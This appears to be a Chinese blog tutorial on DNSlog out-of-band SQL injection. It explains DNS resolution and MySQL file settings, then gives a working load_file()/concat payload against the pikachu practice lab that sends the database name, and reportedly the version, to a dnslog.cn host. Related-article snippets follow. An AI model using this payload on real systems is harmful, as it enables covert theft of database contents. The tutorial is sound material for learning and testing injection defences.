DNSlog注入姿勢

2021-10-25 15:38:59 字數 2691 閱讀 3225

簡介:本文記錄sql注入中的注入姿勢dnslog注入原理及其構造payload過程

1.注入原理

2.注入過程

總結dnslog注入不是一種新的sql注入方式,而是一種注入姿勢。方便為我們進行sql注入提供方法

dns(domain name system)網域名稱系統,它作為將網域名稱和ip位址相互對映的乙個分布式資料庫,能夠使人更方便地訪問網際網路。為了方便人們記憶目標**位址,人們只需通過訪問網域名稱來訪問目標**,通過dns將網域名稱對映的ip位址進行訪問目標伺服器。

dns網域名稱解析過程如下:

下面來詳細解釋dns網域名稱解析的過程:

dns客戶端就是我們平常使用的電腦,開啟瀏覽器,輸入乙個網域名稱。比如輸入www.163.com,這時瀏覽器會檢視其快取是否有對應的網域名稱對映,有就直接解析,否則就交由dns客戶端(主機)進行查詢。dns客戶端檢查本地快取是否存在目標對映關係,存在就直接解析,否則就將傳送dns請求到本地dns伺服器。本地dns伺服器一般都是你的網路接入伺服器商提供,比如中國電信,中國移動等

查詢www.163.com的dns請求到達本地dns伺服器之後,本地dns伺服器會首先查詢它的快取記錄,如果快取中有此條記錄,就可以直接返回結果。如果沒有,本地dns伺服器還要向dns根伺服器進行查詢。

根dns伺服器沒有記錄具體的網域名稱和ip位址的對應關係,而是記錄頂級網域名稱伺服器的ip位址。收到根網域名稱伺服器的dns請求,檢查頂級網域名稱為.com,將.com頂級網域名稱位址傳送到本地dns伺服器。告訴本地伺服器到頂級網域名稱伺服器上去查詢

本地dns伺服器繼續向頂級網域名稱伺服器發出請求,在這個例子中,請求的物件是.com域伺服器。.com域伺服器收到請求之後,也不會直接返回網域名稱和ip位址的對應關係,而是告訴本地dns伺服器其子網域名稱(163.com)伺服器的位址。

最後,本地dns伺服器向子網域名稱伺服器(163.com)發出請求,本地dns伺服器就能收到乙個網域名稱和ip位址對應關係,本地dns伺服器不僅要把ip位址返回給使用者電腦,還要把這個對應關係儲存在快取中,以備下次別的使用者查詢時,可以直接返回結果,加快網路訪問。

適用於那些sql注入無回顯的場景。可以使用盲注,但盲注花費時間過長且繁瑣,效率低對一些擁有waf的**存在被禁止ip的風險高

1.資料庫配置使得load_file()函式傳送請求

通過dnslog盲注需要用的load_file()函式,所以一般得是root許可權。在資料庫中輸入show variables like 『%secure%』 檢視secure_file_priv屬性

如mysql中的secure_file_priv屬性,將其設定為空,則可以匯入匯出檔案。

通過設定my.ini檔案。若my.ini中沒有直接新增即可

unc為網路(主要指區域網)上資源的完整windows 名稱。

格式:\\servername\harename,其中servername是伺服器名。sharename是共享資源的名稱。

目錄或檔案的unc名稱可以包括共享名稱下的目錄路徑,格式為:\\servername\sharename\directory\filename

2.擁有dns伺服器接收並記錄從資料庫傳送過來的請求(dns解析請求)

就是拼接語句,借助開發資料庫可能配置了函式load_file(),通過函式傳送請求,將sql語句查詢的結果帶出來給我們自己設定的dns伺服器解析,通過日誌記錄可以看到sql語句查詢資訊

在資料庫(pikachu)進行測試load_file()函式,帶著資料庫名傳送dns解析請求給dns伺服器。

1.測試load_file()函式

截圖如下(示例):

dns伺服器返回解析日誌記錄,網域名稱為pikachu.x

h198t.dnslog.cn,。則此時的資料庫名稱為pikachu

我們來看下load_file()函式的sql語句:

select load_file(concat('\\\\',(select database()),'.xh198t.dnslog.cn\\adc'))
使用unc路徑\servername\harename

語句中輸入的』 \\\\ 』 由於會對』 \ 『進行轉義,』 \\\\ 『轉義後得到』 \\ '。中間的拼接sql查詢語句,後面緊跟得到的網域名稱及共享檔案。使用concat()函式將三者拼接。

2.測試sql盲注

構造如下payload:

提交後在dns伺服器上得到版本號為5.6.17

本文記錄了dnslog注入姿勢適合於在sql盲注的場景,並且通過了解dnslog注入的原理及其使用load_file()函式實現在dns伺服器上顯示在sql語句中查詢的資訊。

學習DNSlog注入

學習 dnslog注入 簡介在sql注入無回顯的情況下,盲注是一種辦法,但費時。dnslog注入可以將資料外帶,通過dns解析日誌讀取回顯資料。原理及利用場景詳見大佬們的部落格 t1ddl3r 使用dnslog拯救你的盲打盲注 afanti 巧用dnslog實現無回顯注入 armyzer0 利用dn...

DNSLog注入筆記

測試一些 的時候,一些注入都是無回顯的,我們可以寫指令碼來進行盲注,但有些 會ban掉我們的ip,這樣我們可以通過設定ip 池解決,但是盲注往往效率很低,所以產生了dnslog注入。具體原理如下。首先需要有乙個可以配置的網域名稱,比如 ceye.io,然後通過 商設定網域名稱 ceye.io 的 n...

滲透測試(四)DNS log注入

測試靶場 掌控安全學院靶場 明白dns原理,知道網域名稱解析時網域名稱伺服器會記錄log,但在別人伺服器上我們看不到該log,則找工具 dnslog.cn 或者 ceye.io 上去回顯出我們想要的資料 以mysql為例,構造注入語句,以load file 函式配合dns log得到資料 mysql...